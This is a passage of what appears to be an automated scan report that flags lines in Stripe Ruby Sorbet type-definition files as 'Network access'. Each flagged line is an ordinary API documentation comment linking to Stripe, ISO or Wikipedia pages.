    # ID of the payment method used with this SetupIntent. If the payment method is `card_present` and isn't a digital wallet, then the [generated_card](https://docs.stripe.com/api/setup_attempts/object#setup_attempt_object-payment_method_detai
  • Network accessline 659
    sig { returns(T.nilable(T.any(String, ::Stripe::PaymentMethod))) }     def payment_method; end     # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this Setup Intent.
  • Network accessline 660
    def payment_method; end     # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this Setup Intent.     sig { returns(T.nilable(PaymentMethodConfigurationDetails)) }
  • Network accessline 661
    # Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this Setup Intent.
  • Network accessline 665
    sig { returns(T.nilable(PaymentMethodOptions)) }     def payment_method_options; end     # The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. A list of valid payment method types can be found [here](htt
  • Network accessline 666
    def payment_method_options; end     # The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. A list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payme
  • Network accessline 667
    # The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. A list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type).
  • Network accessline 671
    sig { returns(T.nilable(T.any(String, ::Stripe::Mandate))) }     def single_use_mandate; end     # [Status](https://docs.stripe.com/payments/intents#intent-statuses) of this SetupIntent, one of `requires_payment_method`, `requires_confirmat
  • Network accessline 672
    def single_use_mandate; end     # [Status](https://docs.stripe.com/payments/intents#intent-statuses) of this SetupIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `canceled`, or `succeeded`
  • Network accessline 673
    # [Status](https://docs.stripe.com/payments/intents#intent-statuses) of this SetupIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `canceled`, or `succeeded`.
  • Network accessline 681
    # You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action.     #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit
  • Network accessline 682
    #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessi
  • Network accessline 683
    # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex
  • Network accessline 689
    # You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action.     #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit
  • Network accessline 690
    #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessi
  • Network accessline 691
    # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex
  • Network accessline 735
    # Creates a SetupIntent object.     #     # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)
  • Network accessline 736
    #     # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)     # it to collect any required permissions to charge the payment method later.
  • Network accessline 737
    # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/shipping_rate.rbi

  • Network accessline 5
    module Stripe   # Shipping rates describe the price of shipping presented to your customers and   # applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping).
  • Network accessline 6
    # Shipping rates describe the price of shipping presented to your customers and   # applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping).   class ShippingRat
  • Network accessline 7
    # applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping).
  • Network accessline 67
    sig { returns(Integer) }       def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 68
    def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 69
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 70
    sig { returns(String) }       def currency; end       # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currenc
  • Network accessline 71
    def currency; end       # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/cur
  • Network accessline 72
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 101
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 102
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 103
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 110
    sig { returns(T.nilable(String)) }     def tax_behavior; end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 111
    def tax_behavior; end     # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.     sig { returns(T.nilable(T.any(String, ::Stripe::TaxCode))) }
  • Network accessline 112
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/sigma/scheduled_query_run.rbi

  • Network accessline 5
    module Stripe   module Sigma     # If you have [scheduled a Sigma query](https://docs.stripe.com/sigma/scheduled-queries), you'll
  • Network accessline 6
    module Sigma     # If you have [scheduled a Sigma query](https://docs.stripe.com/sigma/scheduled-queries), you'll     # receive a `sigma.scheduled_query_run.created` webhook each time the query
  • Network accessline 7
    # If you have [scheduled a Sigma query](https://docs.stripe.com/sigma/scheduled-queries), you'll

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/source.rbi

  • Network accessline 9
    # attached to customers.   #   # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).
  • Network accessline 10
    #   # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).   # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods).
  • Network accessline 11
    # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).
  • Network accessline 12
    # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods).
  • Network accessline 13
    # This newer API provides access to our latest features and payment method types.   #   # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).
  • Network accessline 14
    #   # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).   class Source < APIResource
  • Network accessline 15
    # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).
  • Network accessline 513
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 514
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 515
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 525
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 526
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 527
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 539
    sig { returns(T.nilable(String)) }         def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 540
    def city; end         # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 541
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 551
    sig { returns(T.nilable(String)) }         def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 552
    def postal_code; end         # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).         sig { returns(T.nilable(String)) }
  • Network accessline 553
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 780
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 781
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 782
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 792
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 793
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 794
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 827
    sig { returns(Integer) }       def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 828
    def amount; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 829
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Access to secretsline 965
    [Credential-related source omitted]
  • Network accessline 970
    sig { returns(Integer) }     def created; end     # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. Required f
  • Network accessline 971
    def created; end     # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. Required for `single_use` sources.     
  • Network accessline 972
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. Required for `single_use` sources.
  • Network accessline 997
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 998
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T.nila
  • Network accessline 999
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1039
    sig { returns(T.nilable(ThreeDSecure)) }     def three_d_secure; end     # The `type` of the source. The `type` is a payment method, one of `ach_credit_transfer`, `ach_debit`, `alipay`, `bancontact`, `card`, `card_present`, `eps`, `giropay`
  • Network accessline 1040
    def three_d_secure; end     # The `type` of the source. The `type` is a payment method, one of `ach_credit_transfer`, `ach_debit`, `alipay`, `bancontact`, `card`, `card_present`, `eps`, `giropay`, `ideal`, `multibanco`, `klarna`, `p24`, `se
  • Network accessline 1041
    # The `type` of the source. The `type` is a payment method, one of `ach_credit_transfer`, `ach_debit`, `alipay`, `bancontact`, `card`, `card_present`, `eps`, `giropay`, `ideal`, `multibanco`, `klarna`, `p24`, `sepa_debit`, `sofort`, `three_
  • Network accessline 1056
    # Updates the specified source by setting the values of the parameters passed. Any parameters not provided will be left unchanged.     #     # This request accepts the metadata and owner as arguments. It is also possible to update type spec
  • Network accessline 1057
    #     # This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for mo
  • Network accessline 1058
    # This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for more det

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/source_mandate_notification.rbi

  • Network accessline 79
    # attached to customers.     #     # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).
  • Network accessline 80
    #     # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).     # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods).
  • Network accessline 81
    # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources).
  • Network accessline 82
    # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods).
  • Network accessline 83
    # This newer API provides access to our latest features and payment method types.     #     # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).
  • Network accessline 84
    #     # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).     sig { returns(::Stripe::Source) }
  • Network accessline 85
    # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/source_transaction.rbi

  • Network accessline 124
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 125
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 126
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/subscription.rbi

  • Network accessline 6
    # Subscriptions allow you to charge a customer on a recurring basis.   #   # Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating)
  • Network accessline 7
    #   # Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating)   class Subscription < APIResource
  • Network accessline 8
    # Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating)
  • Network accessline 225
    sig { returns(T.nilable(String)) }           def network; end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://d
  • Network accessline 226
    def network; end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication
  • Network accessline 227
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 403
    sig { returns(T.nilable(PaymentMethodOptions)) }       def payment_method_options; end       # The list of payment method types to provide to every invoice created by the subscription. If not set, Stripe attempts to automatically determine 
  • Network accessline 404
    def payment_method_options; end       # The list of payment method types to provide to every invoice created by the subscription. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default pa
  • Network accessline 405
    # The list of payment method types to provide to every invoice created by the subscription. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s defau
  • Network accessline 443
    sig { returns(T.nilable(Integer)) }       def trial_end; end       # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting t
  • Network accessline 444
    def trial_end; end       # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_en
  • Network accessline 445
    # Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U
  • Network accessline 498
    sig { returns(AutomaticTax) }     def automatic_tax; end     # The reference point that aligns future [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle) dates. It sets the day of week for `week` intervals, the day of month
  • Network accessline 499
    def automatic_tax; end     # The reference point that aligns future [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle) dates. It sets the day of week for `week` intervals, the day of month for `month` and `year` intervals,
  • Network accessline 500
    # The reference point that aligns future [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle) dates. It sets the day of week for `week` intervals, the day of month for `month` and `year` intervals, and the month of year for 
  • Network accessline 528
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 529
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 530
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 540
    sig { returns(T.nilable(Integer)) }     def days_until_due; end     # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If ne
  • Network accessline 541
    def days_until_due; end     # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the cus
  • Network accessline 542
    # ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de
  • Network accessline 543
    sig { returns(T.nilable(T.any(String, ::Stripe::PaymentMethod))) }     def default_payment_method; end     # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a 
  • Network accessline 544
    def default_payment_method; end     # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_pay
  • Network accessline 545
    # ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I
  • Network accessline 575
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 576
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 577
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 584
    sig { returns(String) }     def object; end     # The account (if any) the charge was made on behalf of for charges associated with this subscription. See the [Connect documentation](https://docs.stripe.com/connect/subscriptions#on-behalf-o
  • Network accessline 585
    def object; end     # The account (if any) the charge was made on behalf of for charges associated with this subscription. See the [Connect documentation](https://docs.stripe.com/connect/subscriptions#on-behalf-of) for details.     sig { re
  • Network accessline 586
    # The account (if any) the charge was made on behalf of for charges associated with this subscription. See the [Connect documentation](https://docs.stripe.com/connect/subscriptions#on-behalf-of) for details.
  • Network accessline 587
    sig { returns(T.nilable(T.any(String, ::Stripe::Account))) }     def on_behalf_of; end     # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated 
  • Network accessline 588
    def on_behalf_of; end     # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.s
  • Network accessline 589
    # If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.stripe.com/billing/subscrip
  • Network accessline 593
    sig { returns(T.nilable(PaymentSettings)) }     def payment_settings; end     # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_inv
  • Network accessline 594
    def payment_settings; end     # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specifie
  • Network accessline 595
    # Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval.
  • Network accessline 596
    sig { returns(T.nilable(PendingInvoiceItemInterval)) }     def pending_invoice_item_interval; end     # You can use this [SetupIntent](https://docs.stripe.com/api/setup_intents) to collect user authentication when creating a subscription wi
  • Network accessline 597
    def pending_invoice_item_interval; end     # You can use this [SetupIntent](https://docs.stripe.com/api/setup_intents) to collect user authentication when creating a subscription without immediate payment or updating a subscription's paymen
  • Network accessline 598
    # You can use this [SetupIntent](https://docs.stripe.com/api/setup_intents) to collect user authentication when creating a subscription without immediate payment or updating a subscription's payment method, allowing you to optimize for off-
  • Network accessline 599
    sig { returns(T.nilable(T.any(String, ::Stripe::SetupIntent))) }     def pending_setup_intent; end     # If specified, [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates) that will be applied to the subscription
  • Network accessline 600
    def pending_setup_intent; end     # If specified, [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates) that will be applied to the subscription once the `latest_invoice` has been paid.     sig { returns(T.nilable
  • Network accessline 601
    # If specified, [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates) that will be applied to the subscription once the `latest_invoice` has been paid.
  • Network accessline 614
    # A subscription that is currently in a trial period is `trialing` and moves to `active` when the trial period is over.     #     # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.st
  • Network accessline 615
    #     # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.stripe.com/billing/subscriptions/trials#create-free-trials-without-payment). A `paused` subscription doesn't generate invoices
  • Network accessline 616
    # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.stripe.com/billing/subscriptions/trials#create-free-trials-without-payment). A `paused` subscription doesn't generate invoices and c
  • Network accessline 636
    sig { returns(T.nilable(Integer)) }     def trial_start; end     # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or it
  • Network accessline 637
    def trial_start; end     # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/met
  • Network accessline 638
    # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata).
  • Network accessline 639
    #     # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, 
  • Network accessline 640
    # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe
  • Network accessline 648
    # Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata).
  • Network accessline 649
    #     # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, 
  • Network accessline 650
    # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe
  • Network accessline 661
    # The payment_behavior parameter determines the exact behavior of the initial payment.     #     # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/bil
  • Network accessline 662
    #     # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead.     # Schedules provide the fl
  • Network accessline 663
    # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead.
  • Network accessline 722
    # Updates an existing subscription to match the specified parameters.     # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes.     # To preview how the proration is cal
  • Network accessline 723
    # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes.     # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoice
  • Network accessline 724
    # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoices/create_preview) endpoint.
  • Network accessline 734
    #     #     # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscriptio
  • Network accessline 735
    #     # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription chan
  • Network accessline 736
    # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription changes](h
  • Network accessline 737
    #     # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create
  • Network accessline 738
    # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create_prora
  • Network accessline 740
    # If you don't want to prorate, set the proration_behavior option to none. With this option, the customer is billed 100 on May 1 and 200 on June 1. Similarly, if you set proration_behavior to none when switching between different billing in
  • Network accessline 741
    #     # Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based b
  • Network accessline 742
    # Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based billing

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/subscription_item.rbi

  • Network accessline 36
    sig { returns(String) }     def id; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 37
    def id; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Hash[Stri
  • Network accessline 38
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 42
    sig { returns(String) }     def object; end     # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
  • Network accessline 43
    def object; end     # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration.     #
  • Network accessline 44
    # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
  • Network accessline 45
    #     # Plans define the base price, currency, and billing cycle for recurring purchases of products.     # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different ph
  • Network accessline 46
    # Plans define the base price, currency, and billing cycle for recurring purchases of products.     # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical
  • Network accessline 47
    # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represe
  • Network accessline 49
    # For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year.     #     # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) an
  • Network accessline 50
    #     # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview).     sig { returns(::Stripe::Plan) }
  • Network accessline 51
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview).
  • Network accessline 53
    def plan; end     # Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products.     # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and p
  • Network accessline 54
    # Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products.     # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you tra
  • Network accessline 55
    # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be 
  • Network accessline 57
    # For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once.     #     # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an 
  • Network accessline 58
